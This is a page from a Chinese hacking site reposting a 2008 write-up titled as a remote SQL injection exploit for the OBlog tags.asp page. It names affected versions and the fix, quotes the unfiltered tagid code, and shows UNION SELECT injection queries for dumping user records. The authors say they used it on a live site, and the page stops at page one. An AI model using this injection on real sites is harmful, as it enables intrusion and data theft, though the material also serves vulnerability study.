黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 网管频道 >> 入侵检测 >> 正文
·nasl插件生成器(带源码04-28·OBlog 的SQL注入漏洞检测04-28
·经典Windows XP系统故障04-28·全民红客 CNN攻击技术解04-28
·megalogs提供300MB免费p04-28·Windows Vista虚拟化功能04-27
·硬盘故障排除大全04-27·Vista SP1开机黑屏闪烁解04-27
·教你进入有密码 Windows04-27·myhosting247.com提供5004-27
·玩转Windows Vista关机功04-26·Win XP系统任务栏优化等04-26
·香港新浪提供免费主页空04-26·Windows XP用户:教你超04-25
·我要发搜免费为电影站提04-25·巧招为Vista系统上网冲浪04-24
·门户通提供2G免费全能空04-24·Vista下网络共享麻烦不断04-23
·菜鸟到高手 系统自身挖掘04-23·奏响曲 奏响在Vista下网04-23
·与众不同windows Vista下04-23·全面出击 让Vista网络安04-23
·随意换 Vista启动和登陆04-23·实用技巧 XP升级至Vista04-23
·实用技巧 用U盘加速Wind04-23·Windows Server 2008防火04-23
·安全第一 五招为Vista保04-23·菜鸟手册:防黑客入侵你系04-23
[图文]OBlog 的SQL注入漏洞检测
        ★★★★★

OBlog 的SQL注入漏洞检测

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2008-4-28 10:39:05

官方已经修正该漏洞。

–==+=================== www.nspcn.org =================+==–
–==+                OBlog (tags.asp) Remote SQL Injection Exploit                   +==–


#Author: Whytt & Tr4c3[at]126[dot]com
#版权所有:http://www.nspcn.org & [BK瞬间群] & Whytt
#漏洞文件tags.asp

#影响版本:
3.13-20060429 [access & mssql]
4.02-20070112 [access & mssql]
4.50 Final Build0619 [access & mssql]
4.60 Final Build0921 [access & mssql]
4.60 Final Build1107 [access & mssql]
#漏洞原因:变量tagid未经过滤传值,带入sql执行,导致注入产生。
#修补方法:检查用户提交的tagid,只允许是数字。
例如:
将iTagId = Trim(Request.Querystring(”tagid”))改成iTagId = Clng(Trim(Request.Querystring(”tagid”)))

[+++]
这 个地方的注射是去年whytt在读OBLOG 4.5的时候发现的,当时没仔细看,只是听他说适用于mssql版,今天在搞一个站的时侯遇见了Oblog 4.60 Final Build1107 (Access),百般无奈又去看了看那个放了N久的”mssql注入点”,这一看不要紧,扩展成了access和mssql通杀。
[+++]
再来啰嗦一下代码的问题tags.asp行15-36

sType = LCase(Trim(Request.Querystring(”t”)))
iTagId = Trim(Request.Querystring(”tagid”)) ’这个地方没过滤,在36行处传值给函数GetUsersByTag
iUserId = Trim(Request.Querystring(”userid”))
sKeyword= Trim(Request(”keyword”))
sAll=Trim(Request.Querystring)
If sAll & sKeyword=”" Then sType=”hottags”

Call link_database()

select Case sType
Case ”hottags”
sTitle=”最热门的100个” & P_TAGS_DESC
sContent=Tags_Hottags()
Case ”cloud”
sTitle=P_TAGS_DESC & ”云图”
sContent=Tags_SystemTags(1)
Case ”list”
sTitle=P_TAGS_DESC & ”列表”
sContent=Tags_SystemTags(0)
Case ”user”
sTitle=P_TAGS_DESC & ”用户”
sContent=GetUsersByTag(iTagId)

函数GetUsersByTag的原型在文件Inc_Tags.asp行320-338

Function GetUsersByTag(byval sTagId)
Dim rst,sSql,sContent
Set rst = Server.CreateObject(”Adodb.Recordset”)
sSql = ”select Top 100 b.userName,b.user_dir,b.user_folder From (select Userid From oblog_usertags Where Tagid=” & sTagId & ” Group By UserId) a,oblog_user b Where a.Userid=b.UserId”
rst.Open sSql,conn,1,1
If rst.Eof Then
sContent=”没有符合条件的用户”
rst.Close
Set rst = Nothing
End If
i=0
Do While Not rst.Eof
sContent=sContent & ”<a href=”& blogurl& rst(”user_dir”) & ”/” & rst(”user_folder”)&”/index.” &f_ext&” target=_blank>” & rst(”userName”) & ”</a><br/>”
rst.movenext
Loop
rst.Close
Set rst = Nothing
GetUsersByTag=sContent
End Function

之所以当初whytt说只适用于mssql,是当时没想起来如何无错闭合,仔细想想原来这么简单.

以下是引用片段:select Top 100 b.userName,b.user_dir,b.user_folder From (select Userid From oblog_usertags Where Tagid=1 Group By UserId) a,oblog_user b Where a.Userid=b.UserId union select Top 100 b.userName,b.user_dir,b.user_folder From (select Userid From oblog_usertags Where Tagid=1 Group By UserId) a,oblog_user b Where a.Userid=b.UserId

union前后是一个语句当然不会出错了,但是

以下是引用片段:
select Top 100 b.userName,b.user_dir,b.user_folder From (select Userid From oblog_usertags Where Tagid=1 Group By UserId) a,oblog_user b Where a.Userid=b.UserId and 1=2 union select Top 100 b.userName,b.user_dir,b.user_folder From (select Userid From oblog_usertags Where Tagid=1 Group By UserId) a,oblog_user b Where a.Userid=b.UserId and 1=2 ’

为了返回union后面的语句信息,union前面的限定条件加一个and  1=2 [逻辑假]

 

[1] [2] 下一页

文章录入:cainiaowang    责任编辑:xinlian 
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    VIP 专 区
    Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
    ICP备案:冀06009886